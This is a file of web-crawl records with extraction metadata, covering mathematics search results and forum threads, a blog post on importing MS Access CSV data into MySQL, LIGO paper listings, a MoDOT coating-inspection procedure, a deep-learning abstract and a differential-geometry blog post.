"s3://commoncrawl/crawl-data/CC-MAIN-2016-30/segments/1469257823947.97/warc/CC-MAIN-20160723071023-00293-ip-10-185-27-174.ec2.internal.warc.gz"}
https://akjournals.com/search?f_0=author&q_0=D.+Bainov	# Search Results ## You are looking at 1 - 6 of 6 items for • Author or Editor: D. Bainov Clear All Modify Search # On periodic solutions of a neutral type equation Authors: M. Arolska and D. Baînov Restricted access # Absolute exponential stability of nonlinear systems of differential equations with lag Authors: M. Konstantinov and D. Bainov Restricted access # Periodic solutions of autonomous systems of difference and difference-differential equations with a small delay Authors: M. Hekimova and D. Bainov ## Abstract In the present paper the method of the equivalent differential-operator equation has been applied in the study of the existence and asymptotic representation of periodic solutions of autonomous systems of the form Restricted access # On the functional differential equations with “maximums” Authors: V. Angelov and D. Bainov Restricted access # Periodic solutions of nonlinear integro-differential equations with an impulse effect Authors: G. Ch. Sarafova and D. D. Bainov The paper applies a numerical-analytical method for finding periodic solutions of the system of integro-differential equations \documentclass{aastex} \usepackage{amsbsy} \usepackage{amsfonts} \usepackage{amssymb} \usepackage{bm} \usepackage{mathrsfs} \usepackage{pifont} \usepackage{stmaryrd} \usepackage{textcomp} \usepackage{upgreek} \usepackage{portland,xspace} \usepackage{amsmath,amsxtra} \pagestyle{empty} \DeclareMathSizes{10}{9}{7}{6} \begin{document} $$\begin{gathered} \dot x = f(t,x,\mathop \smallint \limits_0^t \varphi (t,s,x(s))ds), t \ne t_i (x), \hfill \\ \Delta x\|_{t = t_i (x)} = I_i (x). \hfill \\ \end{gathered}$$ \end{document} Two theorems for existence of periodic solutions are proved for the cases whent = t i andt = t i(x). Restricted access # On the application of the averaging method for systems of integro-differential equations of standard type with discontinuous right-hand side Authors: A. M. Samoilenko, D. D. Bainov and S. D. Milusheva Restricted access	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.31794142723083496, "perplexity": 4905.134721373874}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-40/segments/1600400187899.11/warc/CC-MAIN-20200918124116-20200918154116-00301.warc.gz"}
https://tech.michaelseiler.net/2013/04/17/moving-data-from-ms-access-to-mysql/	Just recently the library at the school where I work asked me to write a web application so that they could more easily manage their electronic resources. The resources they were tracking were not linked by ids, nor did their current solution provide for an intuitive means to track the data. In other words, the only person who could make sense of the data tables in all its glory was the user who had created it. So began the process of moving these flat files into a relational database model so that I could design a web application around it. ### Exporting the data from MS Access The first order of business was getting the data into a Comma Separated Value (CSV) format. I could recreate the wheel here, but instead, I’ll point you to a step by step process (look for “Converting from MDB to CSV in Access 2010”; screenshots are included). Once I had my text file ready, I just needed to design the schema and the corresponding lookup tables so that I could pull all necessary data into a web form with one robust JOIN. ### Importing the data into MySQL Since I knew the file would be a CSV file from a Microsoft product, I knew all data would be enclosed in double quotes. In this case MySQL’s Load Data Infile command was the simplest way to import the text files into their respective tables: load data local infile "/home/mike/import.txt" into table import_table fields terminated by "," -- we know it's a CSV file enclosed by '"' -- MS tends to double quote all exports lines terminated by "\n"; -- it's a text file, with each packet of data on a new line If importing to MySQL on a Windows machine you will have to double escape the backslashes to the text file (e.g. c:\\path\\to\\loadfile.txt, and most likely change the line terminator to “\r\n” so that the file will get parsed properly). MySQL Documentation. ### The Web App The library’s new and upcoming web site is built on WordPress, and we wanted to limit some resources based on user roles (this is a requirement stipulated by the resource publishers). Since I had already built a custom plugin to link the site into our Single Sign On (CAS/LDAP) architecture (blog entry with the plugin to come), it just made sense to build the forms to manage the data as a custom plugin as well. There is a separate article on that app (forthcoming). This site uses Akismet to reduce spam. Learn how your comment data is processed.	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.15395806729793549, "perplexity": 2049.0236407226403}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-43/segments/1634323585460.87/warc/CC-MAIN-20211022052742-20211022082742-00332.warc.gz"}
https://learnzillion.com/lesson_plans/7432-write-mathematical-rules-of-functions-using-function-notation	Instructional video # Write mathematical rules of functions using function notation teaches Common Core State Standards CCSS.Math.Content.HSF-IF.A.1 http://corestandards.org/Math/Content/HSF/IF/A/1 ## You have saved this instructional video! Here's where you can access your saved items. Dismiss Card of	{"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9722439050674438, "perplexity": 29136.43016422521}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 5, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-05/segments/1516084889542.47/warc/CC-MAIN-20180120083038-20180120103038-00311.warc.gz"}
http://mathhelpforum.com/calculus/87042-error-bound-taylor-polynomial-print.html	# error bound taylor polynomial • May 2nd 2009, 10:57 PM diroga error bound taylor polynomial Quote: Use taylor's theorem to bound the error in approximating the function f(x) = e^x with the maclaurin series M_6(x) on the interval [-1,1] The formual for this type of thing is $\|f(x) - P_n(x)\| \leq \frac {K_{n + 1}} {(n + 1)!}\|x - x_0\|^{n + 1}$ the max bound is $K_{n + 1} = e^1$ $x_0 =0, n = 6$ $\frac {e^1} {7!} \|-1\|^7 \approx 5.39 * 10^-4$ is this correct? • May 3rd 2009, 12:35 AM CaptainBlack Quote: Originally Posted by diroga The formual for this type of thing is $\|f(x) - P_n(x)\| \leq \frac {K_{n + 1}} {(n + 1)!}\|x - x_0\|^{n + 1}$ the max bound is $K_{n + 1} = e^1$ $x_0 =0, n = 6$ $\frac {e^1} {7!} \|-1\|^7 \approx 5.39 * 10^{-4}$ is this correct? More or less, but you need to improve your notation and explain what things are. CB	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 8, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.996148407459259, "perplexity": 2457.764510560437}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2014-23/segments/1405997857710.17/warc/CC-MAIN-20140722025737-00153-ip-10-33-131-23.ec2.internal.warc.gz"}
https://www.semanticscholar.org/author/D.-George/152997755	• Publications • Influence GW170817: Observation of Gravitational Waves from a Binary Neutron Star Inspiral. On August 17, 2017 at 12∶41:04 UTC the Advanced LIGO and Advanced Virgo gravitational-wave detectors made their first observation of a binary neutron star inspiral. The signal, GW170817, was detectedExpand Gravitational Waves and Gamma-Rays from a Binary Neutron Star Merger: GW170817 and GRB 170817A On 2017 August 17, the gravitational-wave event GW170817 was observed by the Advanced LIGO and Virgo detectors, and the gamma-ray burst (GRB) GRB 170817A was observed independently by the FermiExpand GW170104: Observation of a 50-Solar-Mass Binary Black Hole Coalescence at Redshift 0.2. We describe the observation of GW170104, a gravitational-wave signal produced by the coalescence of a pair of stellar-mass black holes. The signal was measured on January 4, 2017 at 10∶11:58.6 UTC byExpand GWTC-1: A Gravitational-Wave Transient Catalog of Compact Binary Mergers Observed by LIGO and Virgo during the First and Second Observing Runs We present the results from three gravitational-wave searches for coalescing compact binaries with component masses above 1$\mathrm{M}_\odot$ during the first and second observing runs of theExpand GW170814: A Three-Detector Observation of Gravitational Waves from a Binary Black Hole Coalescence. • B. Abbott, +497 authors S. Kaufer • Physics, Medicine • Physical review letters • 27 September 2017 On August 14, 2017 at 10∶30:43 UTC, the Advanced Virgo detector and the two Advanced LIGO detectors coherently observed a transient gravitational-wave signal produced by the coalescence of twoExpand GW170608: Observation of a 19 solar-mass binary black hole coalescence On 2017 June 8 at 02:01:16.49 UTC, a gravitational-wave (GW) signal from the merger of two stellar-mass black holes was observed by the two Advanced Laser Interferometer Gravitational-WaveExpand GW170817: Measurements of Neutron Star Radii and Equation of State. On 17 August 2017, the LIGO and Virgo observatories made the first direct detection of gravitational waves from the coalescence of a neutron star binary system. The detection of thisExpand GW190425: Observation of a Compact Binary Coalescence with Total Mass ∼ 3.4 M ⊙ On 2019 April 25, the LIGO Livingston detector observed a compact binary coalescence with signal-to-noise ratio 12.9. The Virgo detector was also taking data that did not contribute to detection dueExpand GW190814: Gravitational Waves from the Coalescence of a 23 Solar Mass Black Hole with a 2.6 Solar Mass Compact Object We report the observation of a compact binary coalescence involving a 22.2–24.3 M ⊙ black hole and a compact object with a mass of 2.50–2.67 M ⊙ (all measurements quoted at the 90% credible level).Expand Search for Post-merger Gravitational Waves from the Remnant of the Binary Neutron Star Merger GW170817 The first observation of a binary neutron star (NS) coalescence by the Advanced LIGO and Advanced Virgo gravitational-wave (GW) detectors offers an unprecedented opportunity to study matter under theExpand	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9602968692779541, "perplexity": 2229.5941609828396}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 5, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-25/segments/1623488286726.71/warc/CC-MAIN-20210621151134-20210621181134-00509.warc.gz"}
https://www.physicsforums.com/threads/continuously-uniform-function-proof.307814/	# Continuously uniform function proof 1. Apr 16, 2009 ### aeronautical 1. The problem statement, all variables and given/known data Let f : (0,1) → (0,1) be a strict growing continuous function. Does f have to be continuously uniform? Please note that its from (0,1) → (0,1) and NOT [0,1] → [0,1]. Please help me with the steps...I have no clue where to start...thanks... 2. Apr 16, 2009 ### dx Consider the function $$f(x) = -1 / (x - 1)$$. Prove that this is a counterexample. Last edited: Apr 16, 2009 3. Apr 16, 2009 ### aeronautical Sorry but could you elaborate further? What theorem should I use? 4. Apr 16, 2009 ### dx Sorry, the function in my previous post should have been $$f(x) = -1 / (x - 1)$$ You don't need to use any special theorem. Just try drawing a graph of this function, and see if you can prove that it is not uniformly continuous on (0,1). If you find that difficult, think about the following easier example. Prove that 1/x is not uniformly continuous on (0,1). 5. Apr 16, 2009 ### aeronautical I find this rather difficult, so I started pursuing the second option you suggested, and found this link as well: I can't figure out how you linked my question to the function you were kind to write down for me. 6. Apr 16, 2009 ### dx The function I wrote down is the same function except reflected in the y axis, so that it is strictly increasing (a condition in the question), and moved to the right so that the infinity is at 1 instead of at 0. 7. Apr 16, 2009 ### aeronautical I drew the function. It goes to plus minus infinity at x=1. So what does this tell me? That it is not continuously uniform? 8. Apr 16, 2009 ### aeronautical Here is my plot.... #### Attached Files: • ###### PIC3492.jpg File size: 5.7 KB Views: 62 Last edited: Apr 16, 2009 9. Apr 16, 2009 ### dx You will notice that it is the same as the function 1/x except moved and reflected. You posted a link to a website showing how to prove that 1/x in not uniformly continuous on (0,1), so you can use the same method with slight modifications to prove that this one is not uniformly continuous. 10. Apr 16, 2009 ### aeronautical However, I do not understand why the specify that (0,1) → (0,1) is strict growing continuous function. So this proof is by contradiction? Similar Discussions: Continuously uniform function proof	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9031649827957153, "perplexity": 1067.3693655730685}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-34/segments/1502886102891.30/warc/CC-MAIN-20170817032523-20170817052523-00073.warc.gz"}
http://www.chegg.com/homework-help/questions-and-answers/straight-vertical-wire-carries-current-130-downward-region-poles-alarge-superconducting-el-q123252	A straight, vertical wire carries a current of 1.30 downward in a region between the poles of alarge superconducting electromagnet, where the magnetic field has amagnitude of 0.559 and is horizontal. Part A) What is the magnitude of the magnetic force on a section ofthe wire with a length of 1.00 that is in this uniform magnetic field, if themagnetic field direction is east? Part B) What is the direction of the magnetic force on a section ofthe wire with a length of 1.00 that is in this uniform magnetic field, if themagnetic field direction is east? Part C) What is the magnitude of the magnetic force on a section ofthe wire with a length of 1.00 that is in this uniform magnetic field, if themagnetic field direction is south? Part D) What is the direction of the magnetic force on a section ofthe wire with a length of 1.00 that is in this uniform magnetic field, if themagnetic field direction is south? Part E) What is the magnitude of the magnetic force on a section ofthe wire with a length of 1.00 that is in this uniform magnetic field, if themagnetic field direction is 28.0 south of west? Part F) What angle will the magnetic force on this segment of wiremake relative to the north, if the magnetic field direction is28.0 south of west?	{"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9418991804122925, "perplexity": 408.2504168598673}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2015-27/segments/1435375091751.85/warc/CC-MAIN-20150627031811-00033-ip-10-179-60-89.ec2.internal.warc.gz"}
https://epg.modot.org/index.php?title=901.17_Material_Inspection_for_Sec_901&oldid=17263	# 901.17 Material Inspection for Sec 901 (diff) ← Older revision \| Latest revision (diff) \| Newer revision → (diff) This article establishes procedures for inspecting and reporting those items specified in Sec 0901 for which Materials has responsibility and are not specifically covered in Materials Details of the Specifications. ## Apparatus (a) Magnetic gauge, reading range of 0-40 mils (0-1000 ${\displaystyle \mu \,}$m). (b) Rule with suitable graduations to accurately measure the material to be inspected. ## Procedure The highway lighting items normally field inspected by Materials are galvanizing of anchor bolts, nuts, washers, polyurethane foam and steel standards, bracket arms and foundations. Field determination of weight of coating is to be made on each lot of material furnished. The magnetic gauge is to be operated and calibrated in accordance with ASTM E 376. At least three members of each size and type offered for inspection are to be selected for testing. A single-spot test is to be comprised of at least five readings of the magnetic gauge taken in a small area and those five readings averaged to obtain a single-spot test result. Three such areas should be tested on each of the members being tested. Test each member in the same manner. Average all single-spot test results from all members to obtain the average coating weight to be reported. The minimum single-spot test result would be the minimum average obtained on any one member. Material may be accepted or rejected for galvanized coating on the basis of magnetic gauge. If a test result fails to comply with the specifications, that lot should be re-sampled at double the original sampling rate. If any of the resample members fail to comply with the specification, that lot is to be rejected. The contractor or supplier is to be given the option of sampling for Central Laboratory testing, if the magnetic gauge test results are within minus 15 percent of the specified coating weight. Bolts and nuts specified to meet the requirements of ASTM A 307 shall be accompanied by a manufacturer's certification statement that the bolts and nuts were manufactured to comply with the requirements of ASTM A 307 and, if required by the specifications, galvanized to comply with the requirements of AASHTO M 232, Class C or were mechanically galvanized in accordance with the requirements of AASHTO M 298, Class 55. High strength bolts, nuts and washers shall be accompanied by a manufacturer's inspection test report for each production lot or shipping lot furnished and certifying that the bolts furnished conform to the requirements specified. All bolts, nuts and washers are to be identifiable as to type and manufacturer. Bolts, nuts and washers manufactured to meet ASTM A 307 will normally be identified on the packaging since no special markings are required on the item. The specified AASHTO is to be consulted for the required identification marks on high strength bolts and nuts. Dimensions are to be as shown on the plans or as specified. Weight of zinc coating, when specified, is to be determined by magnetic gauge in the same manner as described in the previous paragraph except that a smaller number of single-spot tests will be sufficient. Samples for Central Laboratory testing are only required when requested by the State Construction and Materials Engineer or when field inspection indicates questionable compliance. When samples are taken, they are to be taken at the frequency and of the size shown in Table 2, Sampling Requirements. Polyurethane foam used as pole backfill is to be accepted on the basis of manufacturer's certification and random sampling and testing. The manufacturer's certification is to show typical test results representative of the material and certify that the material supplied conforms to all of the requirements specified. Random samples are to be taken from approximately 10 percent of the lots offered for use. A sample is to consist of a portion of each component adequate in size to yield 2 cu. ft. of polyurethane foam, after mixing. SiteManager is to be used when submitting samples to the Central Laboratory. Very small quantities of polyurethane foam may be accepted on the basis of brand name and labeling, provided satisfactory results are obtained in the field. ## Report (Records) Reports shall indicate acceptance, qualified acceptance or rejection. Appropriate remarks as described in 106.9 Reporting Test Results are to be included in the report to clarify conditions of acceptance or rejection. Distribution of reports or materials purchased under a MoDOT purchase order is to be as described in 1101 Materials Purchased by a MoDOT Purchase Order. Tests for weight of coating are to be reported through SiteManager. If a sample is submitted to the Central Laboratory for testing, use SiteManager. Polyurethane foam shall be reported through SiteManager. The manufacturer's certification shall be retained in the district office, except when reporting very small quantities accepted by brand name and labeling.	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 1, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.49685460329055786, "perplexity": 2303.300988073499}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 20, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-21/segments/1652662636717.74/warc/CC-MAIN-20220527050925-20220527080925-00642.warc.gz"}
https://openreview.net/forum?id=B1QgVti6Z	## Empirical Risk Landscape Analysis for Understanding Deep Neural Networks 15 Feb 2018, 21:29 (modified: 23 Feb 2018, 00:27)ICLR 2018 Conference Blind SubmissionReaders: Everyone Keywords: Deep Learning Analysis, Deep Learning Theory, Empirical Risk, Landscape Analysis, Nonconvex Optimization Abstract: This work aims to provide comprehensive landscape analysis of empirical risk in deep neural networks (DNNs), including the convergence behavior of its gradient, its stationary points and the empirical risk itself to their corresponding population counterparts, which reveals how various network parameters determine the convergence performance. In particular, for an $l$-layer linear neural network consisting of $\dm_i$ neurons in the $i$-th layer, we prove the gradient of its empirical risk uniformly converges to the one of its population risk, at the rate of $\mathcal{O}(r^{2l} \sqrt{l\sqrt{\max_i \dm_i} s\log(d/l)/n})$. Here $d$ is the total weight dimension, $s$ is the number of nonzero entries of all the weights and the magnitude of weights per layer is upper bounded by $r$. Moreover, we prove the one-to-one correspondence of the non-degenerate stationary points between the empirical and population risks and provide convergence guarantee for each pair. We also establish the uniform convergence of the empirical risk to its population counterpart and further derive the stability and generalization bounds for the empirical risk. In addition, we analyze these properties for deep \emph{nonlinear} neural networks with sigmoid activation functions. We prove similar results for convergence behavior of their empirical risk gradients, non-degenerate stationary points as well as the empirical risk itself. To our best knowledge, this work is the first one theoretically characterizing the uniform convergence of the gradient and stationary points of the empirical risk of DNN models, which benefits the theoretical understanding on how the neural network depth $l$, the layer width $\dm_i$, the network size $d$, the sparsity in weight and the parameter magnitude $r$ determine the neural network landscape. 7 Replies	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9588689208030701, "perplexity": 326.05722231325785}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2023-14/segments/1679296948951.4/warc/CC-MAIN-20230329054547-20230329084547-00404.warc.gz"}
https://blog.ugnus.uk.eu.org/	## Implicit coordinate transforms are weird There’s a wide class of coordinate transforms that are typically given backwards. Witness spherical polar coordinates: $x = r \cos \phi \sin \theta \\ y = r \sin \phi \sin \theta \\ z = r \cos \theta \\$ Typically we already know what our cartesian coordinates $(x,y,z)$ are, and we want to express them in this fancy new coordinate system $(r,\phi,\theta)$. That is, we want a map $\Phi : (x, y, z) \mapsto (r, \phi, \theta),$ but it looks like we’ve only been given the inverse map $\Phi^{-1} : (r, \phi, \theta) \mapsto (x, y, z) = (r \cos \phi \sin \theta, r \sin \phi \sin \theta, r \cos \theta).$ Now, really we know how to invert these expressions. But doing calculus with inverse functions like $\tan^{-1}(y/x)$ is no fun at all, and besides we can imagine situations where no inverse exists. What we’re interested in is what becomes of the basis vectors $(\partial_x, \partial_y, \partial_z)$ and covectors $(dx, dy, dz)$ when we change to spherical polar coordinates. Let’s imagine that the manifold $\mathcal{M}$ is “$\mathbb{R}^3$ with cartesian lines drawn on”, and the manifold $\mathcal{N}$ is “$\mathbb{R}^3$ with spherical lines drawn on”. Obviously these are both $\mathbb{R}^3$, but our reasoning will be completely general. Recall that a map $\Phi : \mathcal{M} \longrightarrow \mathcal{N}$ induces a ‘pullback’ $\Phi^$ that takes functions/covectors on $\mathcal{N}$ to functions/covectors on $\mathcal{M}$; and a ‘pushforward’ $\Phi_$ that takes curves/vectors on $\mathcal{M}$ to curves/vectors on $\mathcal{N}$. That is, the pullback $\Phi^$ operates ‘backwards’ to the direction of the original map $\Phi$. But this is exactly the same as saying that the pullback induced by the inverse map $\Phi^{-1}$ will operate in the expected ‘forwards’ direction. So, $\Phi^{-1}$ takes functions/covectors on $\mathcal{M}$ to functions/covectors on $\mathcal{N}$. So, given that we only have access to $\Phi^{-1}$ right now, it looks like we can successfully work out what our covectors will look like in spherical coordinates. Another way of phrasing this is that the exterior derivative commutes with pullbacks. Let $f$ be a function on $\mathcal{M}$ and $v$ a vector field on $\mathcal{N}$. Then $(\Phi^{-1} df)(v) = df(\Phi^{-1}_v) = (\Phi^{-1}_v)(f) \\ = v(\Phi^{-1}f) = d(\Phi^{-1}f)(v) \\ \Rightarrow \Phi^{-1}df = d(\Phi^{-1}f).$ ## A correct method for covectors But now let $f$ be the coordinate function for the coordinate $x$, i.e. $f(x,y,z) = x$. Then $\Phi^{-1}dx = d(\Phi^{-1}x) = d(r \cos \phi \sin \theta) \\ = \cos \phi \sin \theta dr - r \sin \phi \sin \theta d\phi - r \cos \phi \cos \theta d\theta,$ using the fact that we know $(\Phi^{-1}f)(r,\phi,\theta) = f(\Phi^{-1}(r,\phi,\theta))$ from above, and standard facts about the exterior derivative $d$ (Leibniz rule over multiplication etc.). Rinse and repeat for the other basis covectors: $\Phi^{-1}dy = \sin\phi \sin\theta dr + r \cos\phi \sin\theta d\phi + r \sin\phi \cos\theta d\theta \\ \Phi^{-1}dz = \cos\theta dr - r \sin \theta.$ So given a covector $\eta$ in cartesian coordinates $\eta = \eta_x dx + \eta_y dy + \eta_z dz$ we now know how substitute for $(dx,dy,dz)$, writing $\eta$ in spherical coordinates. ## An incorrect method for vectors Let’s try and naively apply the calculus we already know, so try the following (for the $z$ basis vector): $\partial_z = \frac{\partial}{\partial z} = \frac{\partial r}{\partial z} \frac{\partial}{\partial r} + \frac{\partial \theta}{\partial z} \frac{\partial}{\partial \theta} \\ = \left( \frac{\partial r cos \theta}{\partial r} \right)^{-1} \frac{\partial}{\partial r} + \left( \frac{\partial r cos \theta}{\partial \theta} \right)^{-1} \frac{\partial}{\partial \theta} \\ = \frac{1}{\cos \theta} \partial_r - \frac{1}{r \sin \theta} \partial_\theta.$ Now when we contract this with our earlier expression for $dz$, we should get $dz(\partial z) = 1.$ $(\Phi^{-1}dz)(\Phi_ \partial_z) = (\cos\theta dr - r\sin\theta d\theta) \left(\frac{1}{\cos \theta} \partial_r - \frac{1}{r \sin \theta} \partial_\theta\right) \\ = 2(!)$ What went wrong? We neglected to consider contributions to $\partial_z$ that might arise from other coordinate vectors being rotated into the $z$ direction due to the coordinate change (this sentence doesn’t really make sense, but then again, we’re trying to ‘explain’ a contradiction). ## A correct method for vectors Write out completely general expressions for $(\partial_x, \partial_y, \partial_z)$: $\Phi_* \partial_x = A \partial_r + B \partial_\phi + C \partial_\theta \\ \Phi_* \partial_y = D \partial_r + E \partial_\phi + F \partial_\theta \\ \Phi_* \partial_z = G \partial_r + H \partial_\phi + I \partial_\theta$ All we know about these basis vectors is that, when contracted with the basis covectors, we should obtain the identity matrix, even when they’ve been written out in spherical coordinates: $(\Phi^{-1}dx^i)(\Phi_ \partial_{x^j}) = dx^i(\Phi^{-1}_* \Phi_* \partial_{x^j}) \\ = dx^i(\mathrm{id}_* \partial_{x^j}) = dx^i(\partial_{x^j}) = \delta^i_j.$ ($\mathrm{id}$ is just the identity map) So we repeatedly apply this property to the expression above, essentially inverting the 3-by-3 matrix that has components $A, B, \ldots$. For example, for $\partial_z$ we get $\Phi_(\partial_z) = \cos \theta \partial_r - \frac{\sin \theta}{r} \partial_\theta,$ which gives the correct result when contracted with $dz$. ## Conclusion The essential difference between vectors and covectors is that, under maps, one of them moves one way and the other one moves the other way. Hopefully the little parable in this blogpost has illustrated this fact. When you have a metric you can talk about them having indices in different places, but that allows you to forget about the difference between them altogether! The interesting differences between vectors and covectors come into play when: • You don’t necessarily know what the metric is. • You’re using maps between manifolds/coordinate systems whose inverses don’t necessarily exist (for example, the projection onto a submanifold 